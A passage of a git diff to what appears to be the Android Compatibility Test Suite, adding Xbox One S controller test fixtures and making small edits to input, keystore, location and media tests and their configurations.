+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},

+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}

+    ]

+  }

+]

diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
new file mode 100755
index 0000000..c1757e8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
@@ -0,0 +1,28 @@
+{

+    "id": 1,

+    "command": "register",

+    "name": "Xbox One S (Bluetooth Test)",

+    "vid": 0x045e,

+    "pid": 0x02fd,

+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,

+      0x09, 0x31, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0,

+      0x09, 0x01, 0xa1, 0x00, 0x09, 0x32, 0x09, 0x35, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95,

+      0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0x05, 0x02, 0x09, 0xc5, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95,

+      0x01, 0x75, 0x0a, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05,

+      0x02, 0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95, 0x01, 0x75, 0x0a, 0x81, 0x02, 0x15, 0x00,

+      0x25, 0x00, 0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05, 0x01, 0x09, 0x39, 0x15, 0x01, 0x25, 0x08,

+      0x35, 0x00, 0x46, 0x3b, 0x01, 0x66, 0x14, 0x00, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x75, 0x04,

+      0x95, 0x01, 0x15, 0x00, 0x25, 0x00, 0x35, 0x00, 0x45, 0x00, 0x65, 0x00, 0x81, 0x03, 0x05, 0x09,

+      0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x15, 0x00,

+      0x25, 0x00, 0x75, 0x01, 0x95, 0x01, 0x81, 0x03, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x15, 0x00, 0x25,

+      0x01, 0x95, 0x01, 0x75, 0x01, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x07, 0x95, 0x01, 0x81,

+      0x03, 0x05, 0x0c, 0x09, 0x01, 0x85, 0x02, 0xa1, 0x01, 0x05, 0x0c, 0x0a, 0x23, 0x02, 0x15, 0x00,

+      0x25, 0x01, 0x95, 0x01, 0x75, 0x01, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x07, 0x95, 0x01,

+      0x81, 0x03, 0xc0, 0x05, 0x0f, 0x09, 0x21, 0x85, 0x03, 0xa1, 0x02, 0x09, 0x97, 0x15, 0x00, 0x25,

+      0x01, 0x75, 0x04, 0x95, 0x01, 0x91, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x04, 0x95, 0x01, 0x91,

+      0x03, 0x09, 0x70, 0x15, 0x00, 0x25, 0x64, 0x75, 0x08, 0x95, 0x04, 0x91, 0x02, 0x09, 0x50, 0x66,

+      0x01, 0x10, 0x55, 0x0e, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x09,

+      0xa7, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x65, 0x00, 0x55, 0x00,

+      0x09, 0x7c, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0xc0, 0x05, 0x06,

+      0x09, 0x20, 0x85, 0x04, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81, 0x02, 0xc0]

+  }

diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
index 4271249..cc97f57 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -15,6 +15,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_A"},
       {"action": "UP", "keycode": "BUTTON_A"}
@@ -37,6 +38,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_B"},
       {"action": "UP", "keycode": "BUTTON_B"}
@@ -59,6 +61,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_X"},
       {"action": "UP", "keycode": "BUTTON_X"}
@@ -81,6 +84,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_Y"},
       {"action": "UP", "keycode": "BUTTON_Y"}
@@ -103,6 +107,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L1"},
       {"action": "UP", "keycode": "BUTTON_L1"}
@@ -125,6 +130,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R1"},
       {"action": "UP", "keycode": "BUTTON_R1"}
@@ -147,6 +153,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L2"},
       {"action": "UP", "keycode": "BUTTON_L2"}
@@ -169,6 +176,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R2"},
       {"action": "UP", "keycode": "BUTTON_R2"}
@@ -191,6 +199,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
       {"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -213,6 +222,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
       {"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -235,6 +245,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_SELECT"},
       {"action": "UP", "keycode": "BUTTON_SELECT"}
@@ -257,6 +268,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_START"},
       {"action": "UP", "keycode": "BUTTON_START"}
@@ -279,6 +291,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_MODE"},
       {"action": "UP", "keycode": "BUTTON_MODE"}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
index dcb61ee..55e9e5b 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
@@ -9,6 +9,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
     ]
   },
@@ -29,6 +30,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -51,6 +53,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -73,6 +76,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -95,6 +99,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -123,6 +128,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_X": -1}},
@@ -152,6 +158,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_X": 1}},
@@ -181,6 +188,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_Y": -1}},
@@ -210,6 +218,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_Y": 1}},
@@ -239,6 +248,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_Z": -1}},
@@ -268,6 +278,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_Z": 1}},
@@ -297,6 +308,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
@@ -326,6 +338,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
@@ -355,6 +368,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -384,6 +398,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
new file mode 100644
index 0000000..0313a40
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -0,0 +1,2 @@
+michaelwr@google.com
+svv@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
similarity index 92%
rename from tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
rename to tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
index a4b8e919..943a9fa 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
@@ -26,8 +26,8 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class AsusGamepadTestCase extends InputTestCase {
-    public AsusGamepadTestCase() {
+public class AsusGamepadTest extends InputTestCase {
+    public AsusGamepadTest() {
         super(R.raw.asus_gamepad_register);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
old mode 100644
new mode 100755
similarity index 70%
copy from tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
copy to tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
index 909ef04..ae4a30d
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
@@ -1,44 +1,45 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-
-import android.hardware.cts.R;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SonyDualshock4TestCase extends InputTestCase {
-
-    public SonyDualshock4TestCase() {
-        super(R.raw.sony_dualshock4_register);
-    }
-
-    @Test
-    public void testAllKeys() {
-        testInputEvents(R.raw.sony_dualshock4_keyeventtests);
-    }
-
-    @Test
-    public void testAllMotions() {
-        testInputEvents(R.raw.sony_dualshock4_motioneventtests);
-    }
-}
+/*

+ * Copyright 2019 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package android.hardware.input.cts.tests;

+

+import android.hardware.cts.R;

+

+import androidx.test.ext.junit.runners.AndroidJUnit4;

+import androidx.test.filters.SmallTest;

+

+import org.junit.Test;

+import org.junit.runner.RunWith;

+

+@SmallTest

+@RunWith(AndroidJUnit4.class)

+public class MicrosoftXboxOneSTest extends InputTestCase {

+

+    // Exercises the Bluetooth behavior of the Xbox One S controller

+    public MicrosoftXboxOneSTest() {

+        super(R.raw.microsoft_xboxones_register);

+    }

+

+    @Test

+    public void testAllKeys() {

+        testInputEvents(R.raw.microsoft_xboxones_keyeventtests);

+    }

+

+    @Test

+    public void testAllMotions() {

+        testInputEvents(R.raw.microsoft_xboxones_motioneventtests);

+    }

+}

diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
similarity index 91%
rename from tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
rename to tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
index 909ef04..409c84fe 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
@@ -26,9 +26,9 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4TestCase extends InputTestCase {
+public class SonyDualshock4Test extends InputTestCase {
 
-    public SonyDualshock4TestCase() {
+    public SonyDualshock4Test() {
         super(R.raw.sony_dualshock4_register);
     }
 
diff --git a/tests/tests/jni/AndroidTest.xml b/tests/tests/jni/AndroidTest.xml
index 1c2d529..620b8bf 100644
--- a/tests/tests/jni/AndroidTest.xml
+++ b/tests/tests/jni/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJniTestCases.apk" />
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index 9daf85e..398273f 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsKeystoreTestCases.apk" />
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 7e8be97..0847800 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -64,6 +64,7 @@
 import android.security.keystore.KeyProperties;
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
+import android.util.Log;
 
 import com.google.common.collect.ImmutableSet;
 
@@ -99,6 +100,8 @@
  */
 public class KeyAttestationTest extends AndroidTestCase {
 
+    private static final String TAG = AndroidKeyStoreTest.class.getSimpleName();
+
     private static final int ORIGINATION_TIME_OFFSET = 1000000;
     private static final int CONSUMPTION_TIME_OFFSET = 2000000;
 
@@ -880,7 +883,8 @@
         RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
-        assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
+        assertTrue("Verified boot key is only " + rootOfTrust.getVerifiedBootKey().length +
+                   " bytes long", rootOfTrust.getVerifiedBootKey().length >= 32);
         checkEntropy(rootOfTrust.getVerifiedBootKey());
         if (requireLocked) {
             assertTrue(rootOfTrust.isDeviceLocked());
@@ -889,8 +893,8 @@
     }
 
     private void checkEntropy(byte[] verifiedBootKey) {
-        assertTrue(checkShannonEntropy(verifiedBootKey));
-        assertTrue(checkTresBiEntropy(verifiedBootKey));
+        assertTrue("Failed Shannon entropy check", checkShannonEntropy(verifiedBootKey));
+        assertTrue("Failed BiEntropy check", checkTresBiEntropy(verifiedBootKey));
     }
 
     private boolean checkShannonEntropy(byte[] verifiedBootKey) {
@@ -900,8 +904,10 @@
 
     private double calculateShannonEntropy(double probabilityOfSetBit) {
         if (probabilityOfSetBit <= 0.001 || probabilityOfSetBit >= .999) return 0;
-        return (-probabilityOfSetBit * logTwo(probabilityOfSetBit)) -
-               ((1 - probabilityOfSetBit) * logTwo(1 - probabilityOfSetBit));
+        double entropy = (-probabilityOfSetBit * logTwo(probabilityOfSetBit)) -
+                            ((1 - probabilityOfSetBit) * logTwo(1 - probabilityOfSetBit));
+        Log.i(TAG, "Shannon entropy of VB Key: " + entropy);
+        return entropy;
     }
 
     private boolean checkTresBiEntropy(byte[] verifiedBootKey) {
@@ -917,6 +923,7 @@
             length -= 1;
         }
         double tresBiEntropy = (1 / weightingFactor) * weightedEntropy;
+        Log.i(TAG, "BiEntropy of VB Key: " + tresBiEntropy);
         return tresBiEntropy > 0.9;
     }
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index 57b1585..8a238d0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -372,9 +372,7 @@
                             continue;
                         }
                     }
-                    // Strongbox must not support keys larger than 512 bits
-                    // TODO: This test currently fails, will be fixed on resolution of b/113525261
-                    if (useStrongbox && i > 512) {
+                    if (i > 512) {
                         try {
                             keyGenerator.init(spec, rng);
                             fail();
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index 87e31c1..f563afe 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index a46b19c..89ee843 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -856,9 +856,21 @@
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
+        //onSetEnabled in LMS is handle in thread, it's not synchronized ,
+        //need add delay here or will cause check failed
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         try {
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
index ea81089..5da1f97 100644
--- a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
+++ b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
@@ -65,6 +65,10 @@
         mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         mPackageManager = mContext.getPackageManager();
+        if (isTv()) {
+            // TV does not support the setting options of WIFI scanning and Bluetooth scanning
+            return;
+        }
         final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
         mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
@@ -73,17 +77,28 @@
 
     @CddTest(requirement = "7.4.2/C-2-1")
     public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+        if (isTv()) {
+            return;
+        }
         launchScanningSettings();
         toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
     }
 
     @CddTest(requirement = "7.4.3/C-4-1")
     public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+        if (isTv()) {
+            return;
+        }
         launchScanningSettings();
         toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
                 Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
     }
 
+    private boolean isTv() {
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                && mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
     private void launchScanningSettings() {
         // Start from the home screen
         mDevice.pressHome();
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 99902c5..0d2f5b9 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -40,7 +40,6 @@
         "truth-prebuilt",
         "mockito-target-minus-junit4",
         "androidx.heifwriter_heifwriter",
-        "androidx.media2_media2",
     ],
     jni_libs: [
         "libaudio_jni",
